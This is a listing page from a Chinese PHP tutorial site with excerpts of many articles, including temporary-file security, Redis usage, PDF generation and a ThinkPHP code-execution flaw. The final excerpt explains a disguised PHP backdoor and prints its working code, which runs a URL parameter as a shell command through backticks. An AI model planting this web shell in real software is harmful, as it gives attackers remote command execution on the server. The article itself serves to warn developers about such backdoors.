Welcome 微信登录

首页 / 网页编程 / PHP

PHP临时文件的安全性分析

PHP临时文件的安全性分析

一、简介 临时文件,顾名思义是临时产生的文件,且文件的生命周期很短。 然而,很多应用的运行都离不开临时文件,临时文件在我们电脑上无处不在,主要有以下几种形式的临时文件:1.文件或图形编辑程序,所生成的中间文件2.数据库查询时,生成的临时缓存文件,提供之前的结果数据而,以减少再次访问数据库的代价;通常用于远程数据库或远程xml的服务3.文件被上传后在服务端的临时储存,其文件名为php的全局变量$_FILES["userfile"]["tmp_name"]...
PHP实现的英文名字全拼随机排号脚本

PHP实现的英文名字全拼随机排号脚本

需求:1、执行脚本后,想去的同学输入英文名字全拼,产生随机数01-99之间的数字,数字越大就去参加项目实践,前面已经抓到的数字,下次不能在出现相同数字。2、第一个输入名字后,屏幕输出信息,并将名字和数字记录到文件里,程序不能退出继续等待别的学生输入。实现代码(请在命令行执行,而非WEB环境):<?php// 号码库$num = range(1, 99);// 随机打乱shuffle($num);$filename = "./user.txt"...
ThinkPHP框架任意代码执行漏洞的利用及其修复方法

ThinkPHP框架任意代码执行漏洞的利用及其修复方法

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveR...
成为好程序员必须避免的5个坏习惯

成为好程序员必须避免的5个坏习惯

当你开始成为一个程序员的时候,在编程的时候很容易陷入下面所述的一些坏习惯。作为一名程序员,犯错误不可避免,这是你学习编程课程中的一部分。在你的职业生涯中你会犯很多错误 – 有的特别、有的普遍 – 通过这些错误你可以学习如何避免在将来再犯同样的错误。但是如果你是一个初学者,你犯的错误可能会比其他人更频繁。那么如何才能避免大部分程序员每天都犯的这些普遍的错误呢?想要避免错误,就要对它有所了解。这也是为什么我要和大家分享一些在我们的程序员生涯中阻碍我们成长的普遍...
PHP实现对文本数据库的常用操作方法实例演示

PHP实现对文本数据库的常用操作方法实例演示

PHP可以实现对文本数据库的数据的显示、加入、修改、删除、查询等五大基本操作。我们以一个留言本程序为例,简述一下PHP实现对文本数据库的数据显示、加入、修改、删除、查询五大基本操作的方法。此文本数据库共有字段10个:客户IP、发言时间、客户名、客户EMAIL、客户主页地址、留言表情图片名、客户QQ、客户形象图片、留言内容、管理员回复内容。1、加入数据程序:$date=date("Y-m-d H:i:s");//取得系统时间$ip = $HTTP_SERVE...
PHP使用range协议实现输出文件断点续传代码实例

PHP使用range协议实现输出文件断点续传代码实例

range协议用途:一般是用在断点续传的时候,但是实际的用户很大,例如你的web server需要输出一个大文件,那么用range可以分段输出,缓解压力。同时在提供音乐视频等服务时可以缓冲下载,如果用户中途关闭,可以节约网络带宽。<?php// 文件名$filename = $_GET ["filename"];// 文件路径$location = "media/" . $filename;// 后缀$extension = substr (...
PHP关于htmlspecialchars、strip_tags、addslashes的解释

PHP关于htmlspecialchars、strip_tags、addslashes的解释

PHP的htmlspecialchars、strip_tags、addslashes是网页程序开发中常见的函数,今天就来详细讲述这些函数的用法:1.函数strip_tags:去掉 HTML 及 PHP 的标记注意:本函数可去掉字串中包含的任何 HTML 及 PHP 的标记字串。若是字串的 HTML 及 PHP 标签原来就有错,例如少了大于的符号,则也会传回错误。而本函数和 fgetss() 有着相同的功能。fgetss是从文件中读取文件,并去掉html和p...
php遍历数组的4种方法总结

php遍历数组的4种方法总结

在php中可以用来遍历数组的函数有很多,如有:for语句、list、each、foreach这四个函数,这也是在php中遍历数组的几个主要的函数,下面我来给大家介绍。foreach遍历数组我们在运用数组时,常常要遍历数组并获得各个键或者元素值,php提供了一些专门遍历数组的函数。这里先介绍foreach遍历数组函数的用法。结构形式:复制代码 代码如下:foreach ( array_expression as $value ) statement/* ar...
PHP在网页中动态生成PDF文件详细教程

PHP在网页中动态生成PDF文件详细教程

本文详细介绍使用 PHP 动态构建 PDF 文件的整个过程。使用免费 PDF 库 (FPDF) 或 PDFLib-Lite 等开源工具进行实验,并使用 PHP 代码控制 PDF 内容格式。有时您需要准确控制要打印的页面的呈现方式。在这种情况下,HTML 就不再是最佳选择了。PDF 文件使您能够完全控制页面的呈现方式,以及文本、图形和图像在页面上的呈现方式。遗憾的是,用来构建 PDF 文件的 API 不属于 PHP 工具包的标准部件。现在您需要提供一点帮助。...
30个php操作redis常用方法代码例子

30个php操作redis常用方法代码例子

redis的操作很多的,以前看到一个比较全的博客,但是现在找不到了。查个东西搜半天,下面整理一下php处理redis的例子,个人觉得常用一些例子。下面的例子都是基于php-redis这个扩展的。1,connect描述:实例连接到一个Redis.参数:host: string,port: int返回值:BOOL 成功返回:TRUE;失败返回:FALSE示例:复制代码 代码如下:<?php $redis = new redis(); $resul...
php操作redis中的hash和zset类型数据的方法和代码例子

php操作redis中的hash和zset类型数据的方法和代码例子

前面一篇博客主要是string类型,list类型和set类型,下面hash类型和zset类型1,hset描述:将哈希表key中的域field的值设为value。如果key不存在,一个新的哈希表被创建并进行HSET操作。如果域field已经存在于哈希表中,旧值将被覆盖。参数:key field value返回值:如果field是哈希表中的一个新建域,并且值设置成功,返回1。如果哈希表中域field已经存在且旧值已被新值覆盖,返回0。2,hsetnx描述:将哈...
linux下使用crontab实现定时PHP计划任务失败的原因分析

linux下使用crontab实现定时PHP计划任务失败的原因分析

很多人在linux下使用crontab实现PHP执行定时任务却未能成功,不能生成缓存。本文就linux下使用crontab实现定时PHP计划任务失败的原因做一分析。一般我们linux定时执行php代码例如:*/5 * * * * /usr/local/php/bin/php /home/wwwroot/1.php其实这样是可以执行php代码的。但是为什么很多朋友在1.php写的生成一个缓存文件没有生成呢?这个要涉及到crontab执行php的相对路径问题....
一个不易被发现的PHP后门代码解析

一个不易被发现的PHP后门代码解析

偶然间看到一段,看起来似乎没有什么问题,确是能致命的后门代码,这里用到了一个一般的PHPer都不怎么关注的反撇号 ` ,反撇号包含的字符串,等同于shell_exec函数。伪装性很好,很容易被管理员忽略。$selfNums = $_GET["r"];if (isset($selfNums)){echo `$selfNums`;}刚看到这段代码我想大家都会说没有问题,但是细心的朋友也会发现下面的变量被一个符号包起来了,既然是变量为什么要这样了,而且又不是单引...
<< 401 402 403 404 405 406 407 408 409 410 >>